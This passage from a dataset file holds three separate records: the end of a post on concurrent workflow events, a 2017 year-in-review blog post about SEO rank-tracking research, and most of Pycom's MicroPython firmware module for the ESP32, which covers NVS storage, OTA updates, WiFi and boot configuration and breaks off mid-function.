again event 2 is processed.\nThe net of this is that you should try to avoid scenarios where you have to get events in a prescribed order even after you’ve applied this fix. However, at least your workflows won’t break if two events come in at the same time – like for instance if you are asking for approvals from many people as was the case in our situation.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 412, "token_count_with_eod": 413, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Year In Review: 2017Posted on\n2017 has been a great year for me in many ways, so I wanted to pull together some of my highlights in a quick post.\nWriting & Research\nThanks to friendly nudges and support from colleagues, 2017 was the first year where I’ve started publicly sharing some of the R&D work I get to do alongside my day job. The initial catalyst was the reception to a tweet Chris put out about a piece of research we worked on together involving hourly rank tracking.\n— Chris Green (@chrisgreen87) March 2, 2017\nGiven the evident community interest around this, I wrote up a bit more about our findings on the then newly released StrategiQ Medium blog, and went along to the talk Chris gave at Search London about it.\nI just published “0% stability in SERPs — an experiment in hourly rank tracking” https://t.co/TcP8Okgndq\n— simon (@simon_jthompson) March 9, 2017\nLuckily, as a follow-up to this I was also able to write about a (perhaps obvious) side-effect of the hourly rank tracking which we’d noticed in Google Search Console.\nI just published “Is rank tracking messing with our Google Search Console metrics?” https://t.co/5v62n9Wnh4\n— simon (@simon_jthompson) August 2, 2017\nAnd finally, I polished up and released something I’d been experimenting with for quite a while – a way to view referring Twitter users in Google Analytics.\nI just published “How to view referring Twitter users as a Custom Dimension in Google Analytics” https://t.co/PzakC0WcRh\n— simon (@simon_jthompson) October 4, 2017\n2017 saw another full year at StrategiQ with a number of site launches which I’m particularly proud of. We’ve also made great strides with our development standards and hosting infrastructure, which is something I’m keen to share more about in 2018 to try and help other agencies put better processes in place too.\nOpen Source & Code\nMostly tied in with the blog posts above, I was able to release a few small open source projects over on GitHub. These were;\n- ghks – A Node key/value store, which uses GitHub gists for persistent storage.\n- twitlytics-server – A Node app which resolves a t.co referring URL to the original tweet / tweeter.\n- WPVersion – A JS Module and PHP Class for detecting the version of WordPress being used on a given site.\nI’ve also finished up Louise’s personal website, something we’ve wanted to do for ages now, so if you happen to be looking for Music Tuition in Witham, check out her site!\nPlans for 2018\nWhilst I’m not one for setting specific “New Year’s Resolutions”, I’m definitely hoping to share more blog posts both here and through work in 2018, plus start actually shipping a few of the side-projects I’ve had bubbling away – so watch this space!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/*\n * Copyright (c) 2020, Pycom Limited.\n *\n * This software is licensed under the GNU GPL version 3 or any\n * later version, with permitted additional terms. For more information\n * see the Pycom Licence v1.0 document supplied with this file, or\n * available at https://www.pycom.io/opensource/licensing\n */\n\n#include \"py/mpconfig.h\"\n#include \"py/obj.h\"\n#include \"py/objstr.h\"\n#include \"py/runtime.h\"\n#include \"mperror.h\"\n#include \"updater.h\"\n#include \"modled.h\"\n\n#include \"esp_system.h\"\n#include \"nvs_flash.h\"\n#include \"nvs.h\"\n\n#include \"pycom_config.h\"\n#include \"mpexception.h\"\n#include \"machpin.h\"\n#include \"driver/rmt.h\"\n#include \"driver/gpio.h\"\n\n#include \"freertos/FreeRTOS.h\"\n#include \"freertos/task.h\"\n\n#include \"antenna.h\"\n#include \"py/mphal.h\"\n\n#include \"bootmgr.h\"\n#include \"updater.h\"\n\n#include \"mptask.h\"\n\n#include \"modmachine.h\"\n#include \"esp32chipinfo.h\"\n#include \"modwlan.h\"\n\n\n#include \n\nextern led_info_t led_info;\n\n\n#define NVS_NAMESPACE \"PY_NVM\"\n\n#define WDT_ON_BOOT_MIN_TIMEOUT_MS (5000)\n\nstatic nvs_handle pycom_nvs_handle;\nboot_info_t boot_info;\nuint32_t boot_info_offset;\n\nstatic void modpycom_bootmgr(uint8_t boot_partition, uint8_t fs_type, uint8_t safeboot, bool reset);\n\nvoid modpycom_init0(void) {\n if (nvs_open(NVS_NAMESPACE, NVS_READWRITE, &pycom_nvs_handle) != ESP_OK) {\n mp_printf(&mp_plat_print, \"Error while opening Pycom NVS name space\\n\");\n }\n rmt_driver_install(RMT_CHANNEL_0, 1000, 0);\n if (updater_read_boot_info (&boot_info, &boot_info_offset) == false) {\n mp_printf(&mp_plat_print, \"Error reading bootloader information!\\n\");\n }\n}\n\nstatic bool is_empty(uint8_t* value, uint8_t size) {\n bool ret_val = true;\n for (int i=0; i < size; i++) {\n if (value[i] != 0xFF) {\n ret_val = false;\n }\n }\n return ret_val;\n}\n\nstatic void modpycom_bootmgr(uint8_t boot_partition, uint8_t fs_type, uint8_t safeboot, bool reset) {\n bool update_part = false;\n bool update_fstype = false;\n bool update_safeboot = false;\n\n if (boot_partition < 255) {\n if ((boot_partition <= IMG_ACT_UPDATE1) && (boot_info.ActiveImg != boot_partition)) {\n boot_info.PrevImg = boot_info.ActiveImg;\n boot_info.ActiveImg = (uint32_t)boot_partition;\n boot_info.Status = IMG_STATUS_CHECK;\n update_part = true;\n } else {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error invalid boot partition! or partition already active!\"));\n }\n }\n if (safeboot < 255) {\n if ((safeboot <= 1) && (safeboot != boot_info.safeboot)) {\n if(safeboot)\n {\n boot_info.safeboot = (uint32_t)SAFE_BOOT_SW;\n }\n else\n {\n boot_info.safeboot = (uint32_t)0x00;\n }\n update_safeboot = true;\n } else {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error safeboot must be True or False!\"));\n }\n }\n if (fs_type < 255) {\n if (fs_type <= 1) {\n if(config_get_boot_fs_type() != fs_type)\n {\n config_set_boot_fs_type(fs_type);\n update_fstype = true;\n }\n }\n else {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error invalid filesystem type!\"));\n }\n }\n if (update_part || update_safeboot) {\n if (updater_write_boot_info (&boot_info, boot_info_offset) == false) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error writing bootloader information!\"));\n }\n if(update_part)\n {\n machine_reset();\n }\n }\n if((update_fstype || update_safeboot) && reset)\n {\n machine_reset();\n }\n}\n\n/******************************************************************************/\n// Micro Python bindings\n\n\nSTATIC mp_obj_t mod_pycom_heartbeat (mp_uint_t n_args, const mp_obj_t *args) {\n#ifndef RGB_LED_DISABLE\n if (n_args) {\n mperror_enable_heartbeat (mp_obj_is_true(args[0]));\n if (!mp_obj_is_true(args[0])) {\n do {\n mp_hal_delay_ms(2);\n } while (!mperror_heartbeat_disable_done());\n }\n } else {\n return mp_obj_new_bool(mperror_is_heartbeat_enabled());\n }\n#else\n nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, \"RGB Led Interface Disabled\"));\n#endif\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_heartbeat_obj, 0, 1, mod_pycom_heartbeat);\n\nSTATIC mp_obj_t mod_pycom_rgb_led (mp_obj_t o_color) {\n#ifndef RGB_LED_DISABLE\n if (mperror_is_heartbeat_enabled()) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_request_not_possible));\n }\n\n uint32_t color = mp_obj_get_int(o_color);\n led_info.color.value = color;\n led_set_color(&led_info, true, false);\n#else\n nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, \"RGB Led Interface Disabled\"));\n#endif\n\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_pycom_rgb_led_obj, mod_pycom_rgb_led);\n\nSTATIC mp_obj_t mod_pycom_ota_start (void) {\n if (!updater_start()) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_operation_failed));\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_ota_start_obj, mod_pycom_ota_start);\n\nSTATIC mp_obj_t mod_pycom_ota_write (mp_obj_t data) {\n mp_buffer_info_t bufinfo;\n mp_get_buffer_raise(data, &bufinfo, MP_BUFFER_READ);\n\n if (!updater_write(bufinfo.buf, bufinfo.len)) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_operation_failed));\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_pycom_ota_write_obj, mod_pycom_ota_write);\n\nSTATIC mp_obj_t mod_pycom_ota_finish (void) {\n if (!updater_finish()) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_operation_failed));\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_ota_finish_obj, mod_pycom_ota_finish);\n\nSTATIC mp_obj_t mod_pycom_ota_verify (void) {\n bool ret_val = updater_verify();\n return mp_obj_new_bool(ret_val);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_ota_verify_obj, mod_pycom_ota_verify);\n\nSTATIC mp_obj_t mod_pycom_ota_slot (void) {\n int ota_slot = updater_ota_next_slot_address();\n return mp_obj_new_int(ota_slot);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_ota_slot_obj, mod_pycom_ota_slot);\n\nSTATIC mp_obj_t mod_pycom_pulses_get (mp_obj_t gpio, mp_obj_t timeout) {\n rmt_config_t rmt_rx;\n rmt_rx.channel = RMT_CHANNEL_0;\n rmt_rx.gpio_num = pin_find(gpio)->pin_number;\n rmt_rx.clk_div = 80;\n rmt_rx.mem_block_num = 1;\n rmt_rx.rmt_mode = RMT_MODE_RX;\n rmt_rx.rx_config.filter_en = true;\n rmt_rx.rx_config.filter_ticks_thresh = 100;\n rmt_rx.rx_config.idle_threshold = 0xFFFF;\n rmt_config(&rmt_rx);\n\n RingbufHandle_t rb = NULL;\n mp_obj_t pulses_l = mp_obj_new_list(0, NULL);\n\n // get the RMT RX ringbuffer\n rmt_get_ringbuf_handle(RMT_CHANNEL_0, &rb);\n rmt_rx_start(RMT_CHANNEL_0, 1);\n\n size_t rx_size = 0;\n rmt_item32_t* item = (rmt_item32_t*) xRingbufferReceive(rb, &rx_size, mp_obj_get_int(timeout));\n if (item) {\n for (int i = 0; i < rx_size / 4; i++) {\n mp_obj_t tuple[2];\n tuple[0] = mp_obj_new_int(item[i].level0);\n tuple[1] = mp_obj_new_int(item[i].duration0);\n mp_obj_list_append(pulses_l, mp_obj_new_tuple(2, tuple));\n\n tuple[0] = mp_obj_new_int(item[i].level1);\n tuple[1] = mp_obj_new_int(item[i].duration1);\n mp_obj_list_append(pulses_l, mp_obj_new_tuple(2, tuple));\n }\n\n // after parsing the data, return spaces to ringbuffer.\n vRingbufferReturnItem(rb, (void*) item);\n }\n\n rmt_rx_stop(RMT_CHANNEL_0);\n\n return pulses_l;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(mod_pycom_pulses_get_obj, mod_pycom_pulses_get);\n\n\nSTATIC mp_obj_t mod_pycom_nvs_set (mp_obj_t _key, mp_obj_t _value) {\n\n const char *key = mp_obj_str_get_str(_key);\n esp_err_t esp_err = ESP_OK;\n\n if (MP_OBJ_IS_STR_OR_BYTES(_value)) {\n const char *value = mp_obj_str_get_str(_value);\n if (strlen(value) >= 1984) {\n // Maximum length (including null character) can be 1984 bytes\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"value too long (max: 1984)\"));\n }\n esp_err = nvs_set_str(pycom_nvs_handle, key, value);\n } else if(MP_OBJ_IS_INT(_value)) {\n uint32_t value = mp_obj_get_int_truncated(_value);\n esp_err = nvs_set_u32(pycom_nvs_handle, key, value);\n } else {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Value must be string, bytes or integer\"));\n }\n\n if (ESP_OK == esp_err) {\n nvs_commit(pycom_nvs_handle);\n } else if (ESP_ERR_NVS_NOT_ENOUGH_SPACE == esp_err || ESP_ERR_NVS_PAGE_FULL == esp_err || ESP_ERR_NVS_NO_FREE_PAGES == esp_err) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, \"No free space available\"));\n } else if (ESP_ERR_NVS_INVALID_NAME == esp_err || ESP_ERR_NVS_KEY_TOO_LONG == esp_err) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Key is invalid\"));\n } else {\n nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_Exception, \"Error occurred while storing value, code: %d\", esp_err));\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(mod_pycom_nvs_set_obj, mod_pycom_nvs_set);\n\nSTATIC mp_obj_t mod_pycom_nvs_get (mp_uint_t n_args, const mp_obj_t *args) {\n\n const char *key = mp_obj_str_get_str(args[0]);\n esp_err_t esp_err = ESP_OK;\n mp_obj_t ret = mp_const_none;\n uint32_t value;\n\n esp_err = nvs_get_u32(pycom_nvs_handle, key, &value);\n if (esp_err == ESP_OK) {\n ret = mp_obj_new_int(value);\n }\n else {\n esp_err = nvs_get_str(pycom_nvs_handle, key, NULL, &value);\n if(esp_err == ESP_OK) {\n char* value_string = (char*)malloc(value);\n\n esp_err = nvs_get_str(pycom_nvs_handle, key, value_string, &value);\n\n if(esp_err == ESP_OK) {\n //do not count the terminating \\0\n ret = mp_obj_new_str(value_string, value-1);\n }\n free(value_string);\n }\n }\n\n if(esp_err == ESP_ERR_NVS_NOT_FOUND) {\n if (n_args > 1) {\n // return user defined NoExistValue\n return args[1];\n }\n else\n {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"No matching object for the provided key\"));\n }\n } else if(esp_err != ESP_OK) {\n nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_Exception, \"Error occurred while fetching value, code: %d\", esp_err));\n }\n\n return ret;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_nvs_get_obj, 1, 2, mod_pycom_nvs_get);\n\nSTATIC mp_obj_t mod_pycom_nvs_erase (mp_obj_t _key) {\n const char *key = mp_obj_str_get_str(_key);\n\n if (ESP_ERR_NVS_NOT_FOUND == nvs_erase_key(pycom_nvs_handle, key)) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_KeyError, \"key not found\"));\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_pycom_nvs_erase_obj, mod_pycom_nvs_erase);\n\nSTATIC mp_obj_t mod_pycom_nvs_erase_all (void) {\n if (ESP_OK != nvs_erase_all(pycom_nvs_handle)) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_operation_failed));\n }\n nvs_commit(pycom_nvs_handle);\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_nvs_erase_all_obj, mod_pycom_nvs_erase_all);\n\nSTATIC mp_obj_t mod_pycom_wifi_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args == 0) {\n return mp_obj_new_bool(config_get_wifi_on_boot());\n }\n if (config_get_wifi_on_boot() != mp_obj_is_true(args[0])) {\n config_set_wifi_on_boot (mp_obj_is_true(args[0]));\n if (n_args > 1 && mp_obj_is_true(args[1])) {\n if (mp_obj_is_true(args[0])) {\n mptask_config_wifi(true);\n } else {\n wlan_deinit(NULL);\n }\n }\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_on_boot_obj, 0, 2, mod_pycom_wifi_on_boot);\n\nSTATIC mp_obj_t mod_pycom_wifi_mode (mp_uint_t n_args, const mp_obj_t *args) {\n uint8_t mode;\n if (n_args) {\n mode = mp_obj_get_int(args[0]);\n switch(mode)\n {\n case 0:\n config_set_wifi_mode ((uint8_t)PYCOM_WIFI_CONF_MODE_NONE, true);\n break;\n case 1:\n config_set_wifi_mode ((uint8_t)PYCOM_WIFI_CONF_MODE_STA, true);\n break;\n case 2:\n config_set_wifi_mode ((uint8_t)PYCOM_WIFI_CONF_MODE_AP, true);\n break;\n case 3:\n config_set_wifi_mode ((uint8_t)PYCOM_WIFI_CONF_MODE_APSTA, true);\n break;\n default:\n break;\n }\n } else {\n mode = config_get_wifi_mode();\n switch(mode)\n {\n case PYCOM_WIFI_CONF_MODE_STA:\n return MP_OBJ_NEW_SMALL_INT(1);\n case PYCOM_WIFI_CONF_MODE_AP:\n return MP_OBJ_NEW_SMALL_INT(2);\n case PYCOM_WIFI_CONF_MODE_APSTA:\n return MP_OBJ_NEW_SMALL_INT(3);\n case PYCOM_WIFI_CONF_MODE_NONE:\n default:\n return MP_OBJ_NEW_SMALL_INT(0);\n }\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_mode_obj, 0, 1, mod_pycom_wifi_mode);\n\nSTATIC mp_obj_t mod_pycom_wifi_ssid_sta (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n if(args[0] == mp_const_none)\n {\n config_set_sta_wifi_ssid (NULL, true);\n }\n else if (MP_OBJ_IS_STR(args[0]))\n {\n config_set_sta_wifi_ssid ((uint8_t *)(mp_obj_str_get_str(args[0])), true);\n }\n else{/*Nothing*/}\n\n } else {\n uint8_t * ssid = (uint8_t *)malloc(33);\n mp_obj_t ssid_obj;\n if(config_get_wifi_sta_ssid(ssid))\n {\n ssid_obj = mp_obj_new_str((const char *)ssid, strlen((const char *)ssid));\n }\n else\n {\n ssid_obj = mp_const_none;\n }\n free(ssid);\n return ssid_obj;\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_ssid_sta_obj, 0, 1, mod_pycom_wifi_ssid_sta);\n\nSTATIC mp_obj_t mod_pycom_wifi_pwd_sta (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n if(args[0] == mp_const_none)\n {\n config_set_wifi_sta_pwd (NULL, true);\n }\n else if (MP_OBJ_IS_STR(args[0]))\n {\n config_set_wifi_sta_pwd ((uint8_t *)(mp_obj_str_get_str(args[0])), true);\n }\n else{/*Nothing*/}\n } else {\n uint8_t * pwd = (uint8_t *)malloc(65);\n mp_obj_t pwd_obj;\n if(config_get_wifi_sta_pwd(pwd))\n {\n pwd_obj = mp_obj_new_str((const char *)pwd, strlen((const char *)pwd));\n }\n else\n {\n pwd_obj = mp_const_none;\n }\n free(pwd);\n return pwd_obj;\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_pwd_sta_obj, 0, 1, mod_pycom_wifi_pwd_sta);\n\nSTATIC mp_obj_t mod_pycom_wifi_ssid_ap (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n if(args[0] == mp_const_none)\n {\n config_set_wifi_ap_ssid (NULL);\n }\n else if (MP_OBJ_IS_STR(args[0]))\n {\n config_set_wifi_ap_ssid ((uint8_t *)(mp_obj_str_get_str(args[0])));\n }\n else{/*Nothing*/}\n } else {\n uint8_t * ssid = (uint8_t *)malloc(33);\n mp_obj_t ssid_obj;\n if(config_get_wifi_ap_ssid(ssid))\n {\n ssid_obj = mp_obj_new_str((const char *)ssid, strlen((const char *)ssid));\n }\n else\n {\n ssid_obj = mp_const_none;\n }\n free(ssid);\n return ssid_obj;\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_ssid_ap_obj, 0, 1, mod_pycom_wifi_ssid_ap);\n\nSTATIC mp_obj_t mod_pycom_wifi_pwd_ap (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n if(args[0] == mp_const_none)\n {\n config_set_wifi_ap_pwd (NULL);\n }\n else if (MP_OBJ_IS_STR(args[0]))\n {\n config_set_wifi_ap_pwd ((uint8_t *)(mp_obj_str_get_str(args[0])));\n }\n else{/*Nothing*/}\n } else {\n uint8_t * pwd = (uint8_t *)malloc(65);\n mp_obj_t pwd_obj;\n if(config_get_wifi_ap_pwd(pwd))\n {\n pwd_obj = mp_obj_new_str((const char *)pwd, strlen((const char *)pwd));\n }\n else\n {\n pwd_obj = mp_const_none;\n }\n free(pwd);\n return pwd_obj;\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_pwd_ap_obj, 0, 1, mod_pycom_wifi_pwd_ap);\n\n\nSTATIC mp_obj_t mod_pycom_wdt_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n config_set_wdt_on_boot (mp_obj_is_true(args[0]));\n } else {\n return mp_obj_new_bool(config_get_wdt_on_boot());\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wdt_on_boot_obj, 0, 1, mod_pycom_wdt_on_boot);\n\nSTATIC mp_obj_t mod_pycom_wdt_on_boot_timeout (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n uint32_t timeout_ms = mp_obj_get_int(args[0]);\n if (timeout_ms < WDT_ON_BOOT_MIN_TIMEOUT_MS) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"WDT on boot timeout must be >= 5000 ms\"));\n }\n config_set_wdt_on_boot_timeout (timeout_ms);\n } else {\n return mp_obj_new_int_from_uint(config_get_wdt_on_boot_timeout());\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wdt_on_boot_timeout_obj, 0, 1, mod_pycom_wdt_on_boot_timeout);\n\nSTATIC mp_obj_t mod_pycom_heartbeat_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n config_set_heartbeat_on_boot (mp_obj_is_true(args[0]));\n } else {\n return mp_obj_new_bool(config_get_heartbeat_on_boot());\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_heartbeat_on_boot_obj, 0, 1, mod_pycom_heartbeat_on_boot);\n\nSTATIC mp_obj_t mod_pycom_lte_modem_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n config_set_lte_modem_enable_on_boot (mp_obj_is_true(args[0]));\n } else {\n return mp_obj_new_bool(config_get_lte_modem_enable_on_boot());\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_lte_modem_on_boot_obj, 0, 1, mod_pycom_lte_modem_on_boot);\n\nSTATIC mp_obj_t mod_pycom_pybytes_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n config_set_pybytes_autostart (mp_obj_is_true(args[0]));\n } else {\n return mp_obj_new_bool(config_get_pybytes_autostart());\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_pybytes_on_boot_obj, 0, 1, mod_pycom_pybytes_on_boot);\n\n\nSTATIC mp_obj_t mod_pycom_pybytes_lte_config (size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n enum { ARG_carrier, ARG_apn, ARG_cid, ARG_band, ARG_type, ARG_reset };\n STATIC const mp_arg_t allowed_args[] = {\n { MP_QSTR_carrier, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n { MP_QSTR_apn, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n { MP_QSTR_cid, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n { MP_QSTR_band, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n { MP_QSTR_type, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n { MP_QSTR_reset, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n\n };\n\n mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n pycom_pybytes_lte_config_t pycom_pybytes_lte_config = config_get_pybytes_lte_config();\n\n if (n_args == 0) {\n mp_obj_tuple_t *t = MP_OBJ_TO_PTR(mp_obj_new_tuple(6, NULL));\n\n if(pycom_pybytes_lte_config.carrier[0] == 0xFF && pycom_pybytes_lte_config.carrier[1] == 0xFF && pycom_pybytes_lte_config.carrier[2] == 0xFF)\n {\n t->items[ARG_carrier] = mp_const_none;\n }\n else\n {\n t->items[ARG_carrier] = mp_obj_new_str((const char *)pycom_pybytes_lte_config.carrier, strlen((const char *)pycom_pybytes_lte_config.carrier));\n }\n\n if(pycom_pybytes_lte_config.apn[0] == 0xFF && pycom_pybytes_lte_config.apn[1] == 0xFF && pycom_pybytes_lte_config.apn[2] == 0xFF)\n {\n t->items[ARG_apn] = mp_const_none;\n }\n else\n {\n t->items[ARG_apn] = mp_obj_new_str((const char *)pycom_pybytes_lte_config.apn, strlen((const char *)pycom_pybytes_lte_config.apn));\n }\n if(pycom_pybytes_lte_config.cid == 0xFF)\n {\n t->items[ARG_cid] = mp_obj_new_int(1);\n }\n else\n {\n t->items[ARG_cid] = mp_obj_new_int(pycom_pybytes_lte_config.cid);\n }\n if(pycom_pybytes_lte_config.band == 0xFF)\n {\n t->items[ARG_band] = mp_const_none;\n }\n else\n {\n t->items[ARG_band] = mp_obj_new_int(pycom_pybytes_lte_config.band);\n }\n if(pycom_pybytes_lte_config.type[0] == 0xFF)\n {\n t->items[ARG_type] = mp_const_none;\n }\n else\n {\n t->items[ARG_type] = mp_obj_new_str((const char *)pycom_pybytes_lte_config.type, strlen((const char *)pycom_pybytes_lte_config.type));\n }\n if(pycom_pybytes_lte_config.reset == 0xff)\n {\n t->items[ARG_reset] = mp_const_false;\n }\n else\n {\n t->items[ARG_reset] = mp_obj_new_bool(pycom_pybytes_lte_config.reset);\n }\n return MP_OBJ_FROM_PTR(t);\n\n } else {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error this functionality is not yet supported!\"));\n }\n\n return mp_const_none;\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_KW(mod_pycom_pybytes_lte_config_obj, 0, mod_pycom_pybytes_lte_config);\n\nSTATIC mp_obj_t mod_pycom_bootmgr (size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n enum { ARG_boot_partition, ARG_fs_type, ARG_safeboot, ARG_status };\n STATIC const mp_arg_t allowed_args[] = {\n { MP_QSTR_boot_partition, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 255} },\n { MP_QSTR_fs_type, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 255} },\n { MP_QSTR_safeboot, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 255} },\n { MP_QSTR_reset, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} },\n };\n\n mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n if (args[ARG_boot_partition].u_int == 255 && args[ARG_fs_type].u_int == 255 && args[ARG_safeboot].u_int == 255) {\n mp_obj_tuple_t *t = MP_OBJ_TO_PTR(mp_obj_new_tuple(4, NULL));\n\n if(boot_info.ActiveImg == 0x00)\n {\n t->items[ARG_boot_partition] = mp_obj_new_str(\"Factory\", strlen(\"Factory\"));\n }\n else\n {\n t->items[ARG_boot_partition] = mp_obj_new_str(\"ota_0\", strlen(\"ota_0\"));\n }\n\n if(config_get_boot_fs_type() == 0x00)\n {\n t->items[ARG_fs_type] = mp_obj_new_str(\"FAT\", strlen(\"FAT\"));\n }\n else\n {\n t->items[ARG_fs_type] = mp_obj_new_str(\"LittleFS\", strlen(\"LittleFS\"));\n }\n\n if(boot_info.safeboot == 0x00)\n {\n t->items[ARG_safeboot] = mp_obj_new_str(\"SafeBoot: False\", strlen(\"SafeBoot: False\"));\n }\n else\n {\n t->items[ARG_safeboot] = mp_obj_new_str(\"SafeBoot: True\", strlen(\"SafeBoot: True\"));\n }\n if(boot_info.Status == 0x00)\n {\n t->items[ARG_status] = mp_obj_new_str(\"Status: Check\", strlen(\"Status: Check\"));\n }\n else\n {\n t->items[ARG_status] = mp_obj_new_str(\"Status: Ready\", strlen(\"Status: Ready\"));\n }\n\n return MP_OBJ_FROM_PTR(t);\n\n } else {\n modpycom_bootmgr(args[ARG_boot_partition].u_int, args[ARG_fs_type].u_int, args[ARG_safeboot].u_int, args[3].u_bool);\n }\n\n return mp_const_none;\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_KW(mod_pycom_bootmgr_obj, 0, mod_pycom_bootmgr);\n\nSTATIC mp_obj_t mod_pycom_get_free_heap (void) {\n\n size_t heap_psram_free = 0;\n mp_obj_t items[2];\n\n if (esp32_get_chip_rev() > 0) {\n heap_psram_free = heap_caps_get_free_size(MALLOC_CAP_SPIRAM | MALLOC_CAP_8BIT);\n }\n items[0] = mp_obj_new_int(heap_caps_get_free_size(MALLOC_CAP_INTERNAL | MALLOC_CAP_8BIT));\n if(heap_psram_free)\n {\n items[1] = mp_obj_new_int(heap_psram_free);\n }\n else\n {\n items[1] = mp_obj_new_str(\"NO_EXT_RAM\", strlen(\"NO_EXT_RAM\"));\n }\n\n return mp_obj_new_tuple(2, items);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_get_free_heap_obj, mod_pycom_get_free_heap);\n\n#if (VARIANT == PYBYTES)\n\nSTATIC mp_obj_t mod_pycom_pybytes_device_token (void) {\n uint8_t pybytes_device_token[39];\n config_get_pybytes_device_token(pybytes_device_token);\n return mp_obj_new_str((const char*)pybytes_device_token,strlen((const 